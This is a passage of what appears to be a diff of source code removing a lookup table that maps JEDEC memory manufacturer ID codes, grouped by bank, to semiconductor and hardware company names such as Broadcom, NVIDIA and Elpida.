"Hughes Aircraft", -[1][0x16 - 1] = "Lanstar Semiconductor", -[1][0x17 - 1] = "Qlogic", -[1][0x18 - 1] = "Kingston", -[1][0x19 - 1] = "Music Semi", -[1][0x1a - 1] = "Ericsson Components", -[1][0x1b - 1] = "SpaSE", -[1][0x1c - 1] = "Eon Silicon Devices", -[1][0x1d - 1] = "Integrated Silicon Solution (ISSI)", -[1][0x1e - 1] = "DoD", -[1][0x1f - 1] = "Integ. Memories Tech.", -[1][0x20 - 1] = "Corollary Inc", -[1][0x21 - 1] = "Dallas Semiconductor", -[1][0x22 - 1] = "Omnivision", -[1][0x23 - 1] = "EIV(Switzerland)", -[1][0x24 - 1] = "Novatel Wireless", -[1][0x25 - 1] = "Zarlink (Mitel)", -[1][0x26 - 1] = "Clearpoint", -[1][0x27 - 1] = "Cabletron", -[1][0x28 - 1] = "STEC (Silicon Tech)", -[1][0x29 - 1] = "Vanguard", -[1][0x2a - 1] = "Hagiwara Sys-Com", -[1][0x2b - 1] = "Vantis", -[1][0x2c - 1] = "Celestica", -[1][0x2d - 1] = "Century", -[1][0x2e - 1] = "Hal Computers", -[1][0x2f - 1] = "Rohm Company Ltd", -[1][0x30 - 1] = "Juniper Networks", -[1][0x31 - 1] = "Libit Signal Processing", -[1][0x32 - 1] = "Mushkin Enhanced Memory", -[1][0x33 - 1] = "Tundra Semiconductor", -[1][0x34 - 1] = "Adaptec Inc", -[1][0x35 - 1] = "LightSpeed Semi.", -[1][0x36 - 1] = "ZSP Corp", -[1][0x37 - 1] = "AMIC Technology", -[1][0x38 - 1] = "Adobe Systems", -[1][0x39 - 1] = "Dynachip", -[1][0x3a - 1] = "PNY Technologies Inc", -[1][0x3b - 1] = "Newport Digital", -[1][0x3c - 1] = "MMC Networks", -[1][0x3d - 1] = "T Square", -[1][0x3e - 1] = "Seiko Epson", -[1][0x3f - 1] = "Broadcom", -[1][0x40 - 1] = "Viking Components", -[1][0x41 - 1] = "V3 Semiconductor", -[1][0x42 - 1] = "Flextronics (Orbit Semiconductor)", -[1][0x43 - 1] = "Suwa Electronics", -[1][0x44 - 1] = "Transmeta", -[1][0x45 - 1] = "Micron CMS", -[1][0x46 - 1] = "American Computer & Digital Components Inc", -[1][0x47 - 1] = "Enhance 3000 Inc", -[1][0x48 - 1] = "Tower Semiconductor", -[1][0x49 - 1] = "CPU Design", -[1][0x4a - 1] = "Price Point", -[1][0x4b - 1] = "Maxim Integrated Product", -[1][0x4c - 1] = "Tellabs", -[1][0x4d - 1] = "Centaur Technology", -[1][0x4e - 1] = "Unigen Corporation", -[1][0x4f - 1] = "Transcend Information", -[1][0x50 - 1] = "Memory Card Technology", -[1][0x51 - 1] = "CKD Corporation Ltd", -[1][0x52 - 1] = "Capital Instruments Inc", -[1][0x53 - 1] = "Aica Kogyo Ltd", -[1][0x54 - 1] = "Linvex Technology", -[1][0x55 - 1] = "MSC Vertriebs GmbH", -[1][0x56 - 1] = "AKM Company Ltd", -[1][0x57 - 1] = "Dynamem Inc", -[1][0x58 - 1] = "NERA ASA", -[1][0x59 - 1] = "GSI Technology", -[1][0x5a - 1] = "Dane-Elec (C Memory)", -[1][0x5b - 1] = "Acorn Computers", -[1][0x5c - 1] = "Lara Technology", -[1][0x5d - 1] = "Oak Technology Inc", -[1][0x5e - 1] = "Itec Memory", -[1][0x5f - 1] = "Tanisys Technology", -[1][0x60 - 1] = "Truevision", -[1][0x61 - 1] = "Wintec Industries", -[1][0x62 - 1] = "Super PC Memory", -[1][0x63 - 1] = "MGV Memory", -[1][0x64 - 1] = "Galvantech", -[1][0x65 - 1] = "Gadzoox Networks", -[1][0x66 - 1] = "Multi Dimensional Cons.", -[1][0x67 - 1] = "GateField", -[1][0x68 - 1] = "Integrated Memory System", -[1][0x69 - 1] = "Triscend", -[1][0x6a - 1] = "XaQti", -[1][0x6b - 1] = "Goldenram", -[1][0x6c - 1] = "Clear Logic", -[1][0x6d - 1] = "Cimaron Communications", -[1][0x6e - 1] = "Nippon Steel Semi. Corp", -[1][0x6f - 1] = "Advantage Memory", -[1][0x70 - 1] = "AMCC", -[1][0x71 - 1] = "LeCroy", -[1][0x72 - 1] = "Yamaha Corporation", -[1][0x73 - 1] = "Digital Microwave", -[1][0x74 - 1] = "NetLogic Microsystems", -[1][0x75 - 1] = "MIMOS Semiconductor", -[1][0x76 - 1] = "Advanced Fibre", -[1][0x77 - 1] = "BF Goodrich Data.", -[1][0x78 - 1] = "Epigram", -[1][0x79 - 1] = "Acbel Polytech Inc", -[1][0x7a - 1] = "Apacer Technology", -[1][0x7b - 1] = "Admor Memory", -[1][0x7c - 1] = "FOXCONN", -[1][0x7d - 1] = "Quadratics Superconductor", -[1][0x7e - 1] = "3COM", -[2][0x01 - 1] = "Camintonn Corporation", -[2][0x02 - 1] = "ISOA Incorporated", -[2][0x03 - 1] = "Agate Semiconductor", -[2][0x04 - 1] = "ADMtek Incorporated", -[2][0x05 - 1] = "HYPERTEC", -[2][0x06 - 1] = "Adhoc Technologies", -[2][0x07 - 1] = "MOSAID Technologies", -[2][0x08 - 1] = "Ardent Technologies", -[2][0x09 - 1] = "Switchcore", -[2][0x0a - 1] = "Cisco Systems Inc", -[2][0x0b - 1] = "Allayer Technologies", -[2][0x0c - 1] = "WorkX AG (Wichman)", -[2][0x0d - 1] = "Oasis Semiconductor", -[2][0x0e - 1] = "Novanet Semiconductor", -[2][0x0f - 1] = "E-M Solutions", -[2][0x10 - 1] = "Power General", -[2][0x11 - 1] = "Advanced Hardware Arch.", -[2][0x12 - 1] = "Inova Semiconductors GmbH", -[2][0x13 - 1] = "Telocity", -[2][0x14 - 1] = "Delkin Devices", -[2][0x15 - 1] = "Symagery Microsystems", -[2][0x16 - 1] = "C-Port Corporation", -[2][0x17 - 1] = "SiberCore Technologies", -[2][0x18 - 1] = "Southland Microsystems", -[2][0x19 - 1] = "Malleable Technologies", -[2][0x1a - 1] = "Kendin Communications", -[2][0x1b - 1] = "Great Technology Microcomputer", -[2][0x1c - 1] = "Sanmina Corporation", -[2][0x1d - 1] = "HADCO Corporation", -[2][0x1e - 1] = "Corsair", -[2][0x1f - 1] = "Actrans System Inc", -[2][0x20 - 1] = "ALPHA Technologies", -[2][0x21 - 1] = "Silicon Laboratories Inc (Cygnal)", -[2][0x22 - 1] = "Artesyn Technologies", -[2][0x23 - 1] = "Align Manufacturing", -[2][0x24 - 1] = "Peregrine Semiconductor", -[2][0x25 - 1] = "Chameleon Systems", -[2][0x26 - 1] = "Aplus Flash Technology", -[2][0x27 - 1] = "MIPS Technologies", -[2][0x28 - 1] = "Chrysalis ITS", -[2][0x29 - 1] = "ADTEC Corporation", -[2][0x2a - 1] = "Kentron Technologies", -[2][0x2b - 1] = "Win Technologies", -[2][0x2c - 1] = "Tezzaron Semiconductor", -[2][0x2d - 1] = "Extreme Packet Devices", -[2][0x2e - 1] = "RF Micro Devices", -[2][0x2f - 1] = "Siemens AG", -[2][0x30 - 1] = "Sarnoff Corporation", -[2][0x31 - 1] = "Itautec SA", -[2][0x32 - 1] = "Radiata Inc", -[2][0x33 - 1] = "Benchmark Elect. (AVEX)", -[2][0x34 - 1] = "Legend", -[2][0x35 - 1] = "SpecTek Incorporated", -[2][0x36 - 1] = "Hi/fn", -[2][0x37 - 1] = "Enikia Incorporated", -[2][0x38 - 1] = "SwitchOn Networks", -[2][0x39 - 1] = "AANetcom Incorporated", -[2][0x3a - 1] = "Micro Memory Bank", -[2][0x3b - 1] = "ESS Technology", -[2][0x3c - 1] = "Virata Corporation", -[2][0x3d - 1] = "Excess Bandwidth", -[2][0x3e - 1] = "West Bay Semiconductor", -[2][0x3f - 1] = "DSP Group", -[2][0x40 - 1] = "Newport Communications", -[2][0x41 - 1] = "Chip2Chip Incorporated", -[2][0x42 - 1] = "Phobos Corporation", -[2][0x43 - 1] = "Intellitech Corporation", -[2][0x44 - 1] = "Nordic VLSI ASA", -[2][0x45 - 1] = "Ishoni Networks", -[2][0x46 - 1] = "Silicon Spice", -[2][0x47 - 1] = "Alchemy Semiconductor", -[2][0x48 - 1] = "Agilent Technologies", -[2][0x49 - 1] = "Centillium Communications", -[2][0x4a - 1] = "W.L. Gore", -[2][0x4b - 1] = "HanBit Electronics", -[2][0x4c - 1] = "GlobeSpan", -[2][0x4d - 1] = "Element 14", -[2][0x4e - 1] = "Pycon", -[2][0x4f - 1] = "Saifun Semiconductors", -[2][0x50 - 1] = "Sibyte Incorporated", -[2][0x51 - 1] = "MetaLink Technologies", -[2][0x52 - 1] = "Feiya Technology", -[2][0x53 - 1] = "I & C Technology", -[2][0x54 - 1] = "Shikatronics", -[2][0x55 - 1] = "Elektrobit", -[2][0x56 - 1] = "Megic", -[2][0x57 - 1] = "Com-Tier", -[2][0x58 - 1] = "Malaysia Micro Solutions", -[2][0x59 - 1] = "Hyperchip", -[2][0x5a - 1] = "Gemstone Communications", -[2][0x5b - 1] = "Anadigm (Anadyne)", -[2][0x5c - 1] = "3ParData", -[2][0x5d - 1] = "Mellanox Technologies", -[2][0x5e - 1] = "Tenx Technologies", -[2][0x5f - 1] = "Helix AG", -[2][0x60 - 1] = "Domosys", -[2][0x61 - 1] = "Skyup Technology", -[2][0x62 - 1] = "HiNT Corporation", -[2][0x63 - 1] = "Chiaro", -[2][0x64 - 1] = "MDT Technologies GmbH", -[2][0x65 - 1] = "Exbit Technology A/S", -[2][0x66 - 1] = "Integrated Technology Express", -[2][0x67 - 1] = "AVED Memory", -[2][0x68 - 1] = "Legerity", -[2][0x69 - 1] = "Jasmine Networks", -[2][0x6a - 1] = "Caspian Networks", -[2][0x6b - 1] = "nCUBE", -[2][0x6c - 1] = "Silicon Access Networks", -[2][0x6d - 1] = "FDK Corporation", -[2][0x6e - 1] = "High Bandwidth Access", -[2][0x6f - 1] = "MultiLink Technology", -[2][0x70 - 1] = "BRECIS", -[2][0x71 - 1] = "World Wide Packets", -[2][0x72 - 1] = "APW", -[2][0x73 - 1] = "Chicory Systems", -[2][0x74 - 1] = "Xstream Logic", -[2][0x75 - 1] = "Fast-Chip", -[2][0x76 - 1] = "Zucotto Wireless", -[2][0x77 - 1] = "Realchip", -[2][0x78 - 1] = "Galaxy Power", -[2][0x79 - 1] = "eSilicon", -[2][0x7a - 1] = "Morphics Technology", -[2][0x7b - 1] = "Accelerant Networks", -[2][0x7c - 1] = "Silicon Wave", -[2][0x7d - 1] = "SandCraft", -[2][0x7e - 1] = "Elpida", -[3][0x01 - 1] = "Solectron", -[3][0x02 - 1] = "Optosys Technologies", -[3][0x03 - 1] = "Buffalo (Formerly Melco)", -[3][0x04 - 1] = "TriMedia Technologies", -[3][0x05 - 1] = "Cyan Technologies", -[3][0x06 - 1] = "Global Locate", -[3][0x07 - 1] = "Optillion", -[3][0x08 - 1] = "Terago Communications", -[3][0x09 - 1] = "Ikanos Communications", -[3][0x0a - 1] = "Princeton Technology", -[3][0x0b - 1] = "Nanya Technology", -[3][0x0c - 1] = "Elite Flash Storage", -[3][0x0d - 1] = "Mysticom", -[3][0x0e - 1] = "LightSand Communications", -[3][0x0f - 1] = "ATI Technologies", -[3][0x10 - 1] = "Agere Systems", -[3][0x11 - 1] = "NeoMagic", -[3][0x12 - 1] = "AuroraNetics", -[3][0x13 - 1] = "Golden Empire", -[3][0x14 - 1] = "Mushkin", -[3][0x15 - 1] = "Tioga Technologies", -[3][0x16 - 1] = "Netlist", -[3][0x17 - 1] = "TeraLogic", -[3][0x18 - 1] = "Cicada Semiconductor", -[3][0x19 - 1] = "Centon Electronics", -[3][0x1a - 1] = "Tyco Electronics", -[3][0x1b - 1] = "Magis Works", -[3][0x1c - 1] = "Zettacom", -[3][0x1d - 1] = "Cogency Semiconductor", -[3][0x1e - 1] = "Chipcon AS", -[3][0x1f - 1] = "Aspex Technology", -[3][0x20 - 1] = "F5 Networks", -[3][0x21 - 1] = "Programmable Silicon Solutions", -[3][0x22 - 1] = "ChipWrights", -[3][0x23 - 1] = "Acorn Networks", -[3][0x24 - 1] = "Quicklogic", -[3][0x25 - 1] = "Kingmax Semiconductor", -[3][0x26 - 1] = "BOPS", -[3][0x27 - 1] = "Flasys", -[3][0x28 - 1] = "BitBlitz Communications", -[3][0x29 - 1] = "eMemory Technology", -[3][0x2a - 1] = "Procket Networks", -[3][0x2b - 1] = "Purple Ray", -[3][0x2c - 1] = "Trebia Networks", -[3][0x2d - 1] = "Delta Electronics", -[3][0x2e - 1] = "Onex Communications", -[3][0x2f - 1] = "Ample Communications", -[3][0x30 - 1] = "Memory Experts Intl", -[3][0x31 - 1] = "Astute Networks", -[3][0x32 - 1] = "Azanda Network Devices", -[3][0x33 - 1] = "Dibcom", -[3][0x34 - 1] = "Tekmos", -[3][0x35 - 1] = "API NetWorks", -[3][0x36 - 1] = "Bay Microsystems", -[3][0x37 - 1] = "Firecron Ltd", -[3][0x38 - 1] = "Resonext Communications", -[3][0x39 - 1] = "Tachys Technologies", -[3][0x3a - 1] = "Equator Technology", -[3][0x3b - 1] = "Concept Computer", -[3][0x3c - 1] = "SILCOM", -[3][0x3d - 1] = "3Dlabs", -[3][0x3e - 1] = "c't Magazine", -[3][0x3f - 1] = "Sanera Systems", -[3][0x40 - 1] = "Silicon Packets", -[3][0x41 - 1] = "Viasystems Group", -[3][0x42 - 1] = "Simtek", -[3][0x43 - 1] = "Semicon Devices Singapore", -[3][0x44 - 1] = "Satron Handelsges", -[3][0x45 - 1] = "Improv Systems", -[3][0x46 - 1] = "INDUSYS GmbH", -[3][0x47 - 1] = "Corrent", -[3][0x48 - 1] = "Infrant Technologies", -[3][0x49 - 1] = "Ritek Corp", -[3][0x4a - 1] = "empowerTel Networks", -[3][0x4b - 1] = "Hypertec", -[3][0x4c - 1] = "Cavium Networks", -[3][0x4d - 1] = "PLX Technology", -[3][0x4e - 1] = "Massana Design", -[3][0x4f - 1] = "Intrinsity", -[3][0x50 - 1] = "Valence Semiconductor", -[3][0x51 - 1] = "Terawave Communications", -[3][0x52 - 1] = "IceFyre Semiconductor", -[3][0x53 - 1] = "Primarion", -[3][0x54 - 1] = "Picochip Designs Ltd", -[3][0x55 - 1] = "Silverback Systems", -[3][0x56 - 1] = "Jade Star Technologies", -[3][0x57 - 1] = "Pijnenburg Securealink", -[3][0x58 - 1] = "takeMS - Ultron AG", -[3][0x59 - 1] = "Cambridge Silicon Radio", -[3][0x5a - 1] = "Swissbit", -[3][0x5b - 1] = "Nazomi Communications", -[3][0x5c - 1] = "eWave System", -[3][0x5d - 1] = "Rockwell Collins", -[3][0x5e - 1] = "Picocel Co Ltd (Paion)", -[3][0x5f - 1] = "Alphamosaic Ltd", -[3][0x60 - 1] = "Sandburst", -[3][0x61 - 1] = "SiCon Video", -[3][0x62 - 1] = "NanoAmp Solutions", -[3][0x63 - 1] = "Ericsson Technology", -[3][0x64 - 1] = "PrairieComm", -[3][0x65 - 1] = "Mitac International", -[3][0x66 - 1] = "Layer N Networks", -[3][0x67 - 1] = "MtekVision (Atsana)", -[3][0x68 - 1] = "Allegro Networks", -[3][0x69 - 1] = "Marvell Semiconductors", -[3][0x6a - 1] = "Netergy Microelectronic", -[3][0x6b - 1] = "NVIDIA", -[3][0x6c - 1] = "Internet Machines", -[3][0x6d - 1] = "Memorysolution GmbH", -[3][0x6e - 1] = "Litchfield Communication", -[3][0x6f - 1] = "Accton Technology", -[3][0x70 - 1] = "Teradiant Networks", -[3][0x71 - 1] = "Scaleo Chip", -[3][0x72 - 1] = "Cortina Systems", -[3][0x73 - 1] = "RAM Components", -[3][0x74 - 1] = "Raqia Networks", -[3][0x75 - 1] = "ClearSpeed", -[3][0x76 - 1] = "Matsushita Battery", -[3][0x77 - 1] = "Xelerated", -[3][0x78 - 1] = "SimpleTech", -[3][0x79 - 1] = "Utron Technology", -[3][0x7a - 1] = "Astec International", -[3][0x7b - 1] = "AVM gmbH", -[3][0x7c - 1] = "Redux Communications", -[3][0x7d - 1] = "Dot Hill Systems", -[3][0x7e - 1] = "TeraChip", -[4][0x01 - 1] = "T-RAM Incorporated", -[4][0x02 - 1] = "Innovics Wireless", -[4][0x03 - 1] = "Teknovus", -[4][0x04 - 1] = "KeyEye Communications", -[4][0x05 - 1] = "Runcom Technologies", -[4][0x06 - 1] = "RedSwitch", -[4][0x07 - 1] = "Dotcast", -[4][0x08 - 1] = "Silicon Mountain Memory", -[4][0x09 - 1] = "Signia Technologies", -[4][0x0a - 1] = "Pixim", -[4][0x0b - 1] = "Galazar Networks", -[4][0x0c - 1] = "White Electronic Designs", -[4][0x0d - 1] = "Patriot Scientific", -[4][0x0e - 1] = "Neoaxiom Corporation", -[4][0x0f - 1] = "3Y Power Technology", -[4][0x10 - 1] = "Scaleo Chip", -[4][0x11 - 1] = "Potentia Power Systems", -[4][0x12 - 1] = "C-guys Incorporated", -[4][0x13 - 1] = "Digital Communications Technology Inc", -[4][0x14 - 1] = "Silicon-Based Technology", -[4][0x15 - 1] = "Fulcrum Microsystems", -[4][0x16 - 1] = "Positivo Informatica Ltd", -[4][0x17 - 1] = "XIOtech Corporation", -[4][0x18 - 1] = "PortalPlayer", -[4][0x19 - 1] = "Zhiying Software", -[4][0x1a - 1] = "ParkerVision Inc", -[4][0x1b - 1] = "Phonex Broadband", -[4][0x1c - 1] = "Skyworks Solutions", -[4][0x1d - 1] = "Entropic Communications", -[4][0x1e - 1] = "I'M Intelligent Memory Ltd", -[4][0x1f - 1] = "Zensys A/S", -[4][0x20 - 1] = "Legend Silicon Corp", -[4][0x21 - 1] = "Sci-worx GmbH", -[4][0x22 - 1] = "SMSC (Standard Microsystems)", -[4][0x23 - 1] = "Renesas Electronics", -[4][0x24 - 1] = "Raza Microelectronics", -[4][0x25 - 1] = "Phyworks", -[4][0x26 - 1] = "MediaTek", -[4][0x27 - 1] = "Non-cents Productions", -[4][0x28 - 1] = "US Modular", -[4][0x29 - 1] = "Wintegra Ltd", -[4][0x2a - 1] = "Mathstar", -[4][0x2b - 1] = "StarCore", -[4][0x2c - 1] = "Oplus Technologies", -[4][0x2d - 1] = "Mindspeed", -[4][0x2e - 1] = "Just Young Computer", -[4][0x2f - 1] = "Radia Communications", -[4][0x30 - 1] = "OCZ", -[4][0x31 - 1] = "Emuzed", -[4][0x32 - 1] = "LOGIC Devices", -[4][0x33 - 1] = "Inphi Corporation", -[4][0x34 - 1] = "Quake Technologies", -[4][0x35 - 1] = "Vixel", -[4][0x36 - 1] = "SolusTek", -[4][0x37 - 1] = "Kongsberg Maritime", -[4][0x38 - 1] = "Faraday Technology", -[4][0x39 - 1] = "Altium Ltd", -[4][0x3a - 1] = "Insyte", -[4][0x3b - 1] = "ARM Ltd", -[4][0x3c - 1] = "DigiVision", -[4][0x3d - 1] = "Vativ Technologies", -[4][0x3e - 1] = "Endicott Interconnect Technologies", -[4][0x3f - 1] = "Pericom", -[4][0x40 - 1] = "Bandspeed", -[4][0x41 - 1] = "LeWiz Communications", -[4][0x42 - 1] = "CPU Technology", -[4][0x43 - 1] = "Ramaxel Technology", -[4][0x44 - 1] = "DSP Group", -[4][0x45 - 1] = "Axis Communications", -[4][0x46 - 1] = "Legacy Electronics", -[4][0x47 - 1] = "Chrontel", -[4][0x48 - 1] = "Powerchip Semiconductor", -[4][0x49 - 1] = "MobilEye Technologies", -[4][0x4a - 1] = "Excel Semiconductor", -[4][0x4b - 1] = "A-DATA Technology", -[4][0x4c - 1] = "VirtualDigm", -[4][0x4d - 1] = "G Skill Intl", -[4][0x4e - 1] = "Quanta Computer", -[4][0x4f - 1] = "Yield Microelectronics", -[4][0x50 - 1] = "Afa Technologies", -[4][0x51 - 1] = "KINGBOX Technology Co Ltd", -[4][0x52 - 1] = "Ceva", -[4][0x53 - 1] = "iStor Networks", -[4][0x54 - 1] = "Advance Modules", -[4][0x55 - 1] = "Microsoft", -[4][0x56 - 1] = "Open-Silicon", -[4][0x57 - 1] = "Goal Semiconductor", -[4][0x58 - 1] = "ARC International", -[4][0x59 - 1] = "Simmtec", -[4][0x5a - 1] = "Metanoia", -[4][0x5b - 1] = "Key Stream", -[4][0x5c - 1] = "Lowrance Electronics", -[4][0x5d - 1] = "Adimos", -[4][0x5e - 1] = "SiGe Semiconductor", -[4][0x5f - 1] = "Fodus Communications", -[4][0x60 - 1] = "Credence Systems Corp", -[4][0x61 - 1] = "Genesis Microchip Inc", -[4][0x62 - 1] = "Vihana Inc", -[4][0x63 - 1] = "WIS Technologies", -[4][0x64 - 1] = "GateChange Technologies", -[4][0x65 - 1] = "High Density Devices AS", -[4][0x66 - 1] = "Synopsys", -[4][0x67 - 1] = "Gigaram", -[4][0x68 - 1] = "Enigma Semiconductor Inc", -[4][0x69 - 1] = "Century Micro Inc", -[4][0x6a - 1] = "Icera Semiconductor", -[4][0x6b - 1] = "Mediaworks Integrated Systems", -[4][0x6c - 1] = "O'Neil Product Development", -[4][0x6d - 1] = "Supreme Top Technology Ltd", -[4][0x6e - 1] = "MicroDisplay Corporation", -[4][0x6f - 1] = "Team Group Inc", -[4][0x70 - 1] = "Sinett Corporation", -[4][0x71 - 1] = "Toshiba Corporation", -[4][0x72 - 1] = "Tensilica", -[4][0x73 - 1] = "SiRF Technology", -[4][0x74 - 1] = "Bacoc Inc", -[4][0x75 - 1] = "SMaL Camera Technologies", -[4][0x76 - 1] = "Thomson SC", -[4][0x77 - 1] = "Airgo Networks", -[4][0x78 - 1] = "Wisair Ltd", -[4][0x79 - 1] = "SigmaTel", -[4][0x7a - 1] = "Arkados", -[4][0x7b - 1] = "Compete IT gmbH Co KG", -[4][0x7c - 1] = "Eudar Technology Inc", -[4][0x7d - 1] = "Focus Enhancements", -[4][0x7e - 1] = "Xyratex", -[5][0x01 - 1] = "Specular Networks", -[5][0x02 - 1] = "Patriot Memory (PDP Systems)", -[5][0x03 - 1] = "U-Chip Technology Corp", -[5][0x04 - 1] = "Silicon Optix", -[5][0x05 - 1] = "Greenfield Networks", -[5][0x06 - 1] = "CompuRAM GmbH", -[5][0x07 - 1] = "Stargen Inc", -[5][0x08 - 1] = "NetCell Corporation", -[5][0x09 - 1] = "Excalibrus Technologies Ltd", -[5][0x0a - 1] = "SCM Microsystems", -[5][0x0b - 1] = "Xsigo Systems Inc", -[5][0x0c - 1] = "CHIPS & Systems Inc", -[5][0x0d - 1] = "Tier 1 Multichip Solutions", -[5][0x0e - 1] = "CWRL Labs", -[5][0x0f - 1] = "Teradici", -[5][0x10 - 1] = "Gigaram Inc", -[5][0x11 - 1] = "g2 Microsystems", -[5][0x12 - 1] = "PowerFlash Semiconductor", -[5][0x13 - 1] = "P.A. Semi Inc", -[5][0x14 - 1] = "NovaTech Solutions S.A.", -[5][0x15 - 1] = "c2 Microsystems Inc", -[5][0x16 - 1] = "Level5 Networks", -[5][0x17 - 1] = "COS Memory AG", -[5][0x18 - 1] = "Innovasic Semiconductor", -[5][0x19 - 1] = "02IC Co Ltd", -[5][0x1a - 1] = "Tabula Inc", -[5][0x1b - 1] = "Crucial Technology", -[5][0x1c - 1] = "Chelsio Communications", -[5][0x1d - 1] = "Solarflare Communications", -[5][0x1e - 1] = "Xambala Inc", -[5][0x1f - 1] = "EADS Astrium", -[5][0x20 - 1] = "Terra Semiconductor Inc", -[5][0x21 - 1] = "Imaging Works Inc", -[5][0x22 - 1] = "Astute Networks Inc", -[5][0x23 - 1] = "Tzero", -[5][0x24 - 1] = "Emulex", -[5][0x25 - 1] = "Power-One", -[5][0x26 - 1] = "Pulse~LINK Inc", -[5][0x27 - 1] = "Hon Hai Precision Industry", -[5][0x28 - 1] = "White Rock Networks Inc", -[5][0x29 - 1] = "Telegent Systems USA Inc", -[5][0x2a - 1] = "Atrua Technologies Inc", -[5][0x2b - 1] = "Acbel Polytech Inc", -[5][0x2c - 1] = "eRide Inc", -[5][0x2d - 1] = "ULi Electronics Inc", -[5][0x2e - 1] = "Magnum Semiconductor Inc", -[5][0x2f - 1] = "neoOne Technology Inc", -[5][0x30 - 1] = "Connex Technology Inc", -[5][0x31 - 1] = "Stream Processors Inc", -[5][0x32 - 1] = "Focus Enhancements", -[5][0x33 - 1] = "Telecis Wireless Inc", -[5][0x34 - 1] = "uNav Microelectronics", -[5][0x35 - 1] = "Tarari Inc", -[5][0x36 - 1] = "Ambric Inc", -[5][0x37 - 1] = "Newport Media Inc", -[5][0x38 - 1] = "VMTS", -[5][0x39 - 1] = "Enuclia Semiconductor Inc", -[5][0x3a - 1] = "Virtium Technology Inc", -[5][0x3b - 1] = "Solid State System Co Ltd", -[5][0x3c - 1] = "Kian Tech LLC", -[5][0x3d - 1] = "Artimi", -[5][0x3e - 1] = "Power Quotient International", -[5][0x3f - 1] = "Avago Technologies", -[5][0x40 - 1] = "ADTechnology", -[5][0x41 - 1] = "Sigma Designs", -[5][0x42 - 1] = "SiCortex Inc", -[5][0x43 - 1] = "Ventura Technology Group", -[5][0x44 - 1] = "eASIC", -[5][0x45 - 1] = "M.H.S. SAS", -[5][0x46 - 1] = "Micro Star International", -[5][0x47 - 1] = "Rapport Inc", -[5][0x48 - 1] = "Makway International", -[5][0x49 - 1] = "Broad Reach Engineering Co", -[5][0x4a - 1] = "Semiconductor Mfg Intl Corp", -[5][0x4b - 1] = "SiConnect", -[5][0x4c - 1] = "FCI USA Inc", -[5][0x4d - 1] = "Validity Sensors", -[5][0x4e - 1] = "Coney Technology Co Ltd", -[5][0x4f - 1] = "Spans Logic", -[5][0x50 - 1] = "Neterion Inc", -[5][0x51 - 1] = "Qimonda", -[5][0x52 - 1] = "New Japan Radio Co Ltd", -[5][0x53 - 1] = "Velogix", -[5][0x54 - 1] = "Montalvo Systems", -[5][0x55 - 1] = "iVivity Inc", -[5][0x56 - 1] = "Walton Chaintech", -[5][0x57 - 1] = "AENEON", -[5][0x58 - 1] = "Lorom Industrial Co Ltd", -[5][0x59 - 1] = "Radiospire Networks", -[5][0x5a - 1] = "Sensio Technologies Inc", -[5][0x5b - 1] = "Nethra Imaging", -[5][0x5c - 1] = "Hexon Technology Pte Ltd", -[5][0x5d - 1] = "CompuStocx (CSX)", -[5][0x5e - 1] = "Methode Electronics Inc", -[5][0x5f - 1] = "Connect One Ltd", -[5][0x60 - 1] = "Opulan Technologies", -[5][0x61 - 1] = "Septentrio NV", -[5][0x62 - 1] = "Goldenmars Technology Inc", -[5][0x63 - 1] = "Kreton Corporation", -[5][0x64 - 1] = "Cochlear Ltd", -[5][0x65 - 1] = "Altair Semiconductor", -[5][0x66 - 1] = "NetEffect Inc", -[5][0x67 - 1] = "Spansion Inc", -[5][0x68 - 1] = "Taiwan Semiconductor Mfg", -[5][0x69 - 1] = "Emphany Systems Inc", -[5][0x6a - 1] = "ApaceWave Technologies", -[5][0x6b - 1] = "Mobilygen Corporation", -[5][0x6c - 1] = "Tego", -[5][0x6d - 1] = "Cswitch Corporation", -[5][0x6e - 1] = "Haier (Beijing) IC Design Co", -[5][0x6f - 1] = "MetaRAM", -[5][0x70 - 1] = "Axel Electronics Co Ltd", -[5][0x71 - 1] = "Tilera Corporation", -[5][0x72 - 1] = "Aquantia", -[5][0x73 - 1] = "Vivace Semiconductor", -[5][0x74 - 1] = "Redpine Signals", -[5][0x75 - 1] = "Octalica", -[5][0x76 - 1] = "InterDigital Communications", -[5][0x77 - 1] = "Avant Technology", -[5][0x78 - 1] = "Asrock Inc", -[5][0x79 - 1] = "Availink", -[5][0x7a - 1] = "Quartics Inc", -[5][0x7b - 1] = "Element CXI", -[5][0x7c - 1] = "Innovaciones Microelectronicas", -[5][0x7d - 1] = "VeriSilicon Microelectronics", -[5][0x7e - 1] = "W5 Networks", -[6][0x01 - 1] = "MOVEKING", -[6][0x02 - 1] = "Mavrix Technology Inc", -[6][0x03 - 1] = "CellGuide Ltd", -[6][0x04 - 1] = "Faraday Technology", -[6][0x05 - 1] = "Diablo Technologies Inc", -[6][0x06 - 1] = "Jennic", -[6][0x07 - 1] = "Octasic", -[6][0x08 - 1] = "Molex Incorporated", -[6][0x09 - 1] = "3Leaf Networks", -[6][0x0a - 1] = "Bright Micron Technology", -[6][0x0b - 1] = "Netxen", -[6][0x0c - 1] = "NextWave Broadband Inc", -[6][0x0d - 1] = "DisplayLink", -[6][0x0e - 1] = "ZMOS Technology", -[6][0x0f - 1] = "Tec-Hill", -[6][0x10 - 1] = "Multigig Inc", -[6][0x11 - 1] = "Amimon", -[6][0x12 - 1] = "Euphonic Technologies Inc", -[6][0x13 - 1] = "BRN Phoenix", -[6][0x14 - 1] = "InSilica", -[6][0x15 - 1] = "Ember Corporation", -[6][0x16 - 1] = "Avexir Technologies Corporation", -[6][0x17 - 1] = "Echelon Corporation", -[6][0x18 - 1] = "Edgewater Computer Systems", -[6][0x19 - 1] = "XMOS Semiconductor Ltd", -[6][0x1a - 1] = "GENUSION Inc", -[6][0x1b - 1] = "Memory Corp NV", -[6][0x1c - 1] = "SiliconBlue Technologies", -[6][0x1d - 1] = "Rambus Inc", -[6][0x1e - 1] = "Andes Technology Corporation", -[6][0x1f - 1] = "Coronis Systems", -[6][0x20 - 1] = "Achronix Semiconductor", -[6][0x21 - 1] = "Siano Mobile Silicon Ltd", -[6][0x22 - 1] = "Semtech Corporation", -[6][0x23 - 1] = "Pixelworks Inc", -[6][0x24 - 1] = "Gaisler Research AB", -[6][0x25 - 1] = "Teranetics", -[6][0x26 - 1] = "Toppan Printing Co Ltd", -[6][0x27 - 1] = "Kingxcon", -[6][0x28 - 1] = "Silicon Integrated Systems", -[6][0x29 - 1] = "I-O Data Device Inc", -[6][0x2a - 1] = "NDS Americas Inc", -[6][0x2b - 1] = "Solomon Systech Limited", -[6][0x2c - 1] = "On Demand Microelectronics", -[6][0x2d - 1] = "Amicus Wireless Inc", -[6][0x2e - 1] = "SMARDTV SNC", 